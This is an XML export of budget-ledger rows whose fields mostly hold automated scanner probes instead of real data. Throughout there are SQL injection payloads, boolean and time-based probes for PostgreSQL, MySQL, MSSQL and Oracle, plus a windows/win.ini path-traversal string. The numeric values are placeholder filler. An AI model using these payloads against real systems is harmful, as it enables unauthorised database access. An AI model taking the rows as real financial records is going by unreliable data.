<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=26 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=25 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>(select 198766*667891 from DUAL)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>../../../../../../../../../../../../../../windows/win.ini</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMUGL3Qq5eX' OR 865=(SELECT 865 FROM PG_SLEEP(15))--</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(select 198766*667891 from DUAL)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(select 198766*667891)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1PZvkF1Zf')) OR 401=(SELECT 401 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1*if(now()=sysdate(),sleep(15),0)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=25 or "bHiq1XOz"="</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=25 or 'AMJ34MZH'='</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=26 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=26 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=25</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>19760384</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>(select 198766*667891)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMUIrBMZnnn')) OR 558=(SELECT 558 FROM PG_SLEEP(15))--</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102cCoOo5Vo')) OR 200=(SELECT 200 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>9410246FScnUP'; waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(select 198766*667891 from DUAL)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>@@XiX57</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU����%2527%2522\'\"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>if(now()=sysdate(),sleep(15),0)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>171HAi0ZL') OR 815=(SELECT 815 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>../1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1dHEGF7fP' OR 513=(SELECT 513 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>11NPWF7hn</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU����%2527%2522\'\"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU'"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU5dtL5nDE') OR 678=(SELECT 678 FROM PG_SLEEP(15))--</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1) OR 424=(SELECT 424 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1 waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=25 or "LQcSdqnV"="</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=26 or 'w6K6Dkt4'='</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=26 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=25 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=26 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
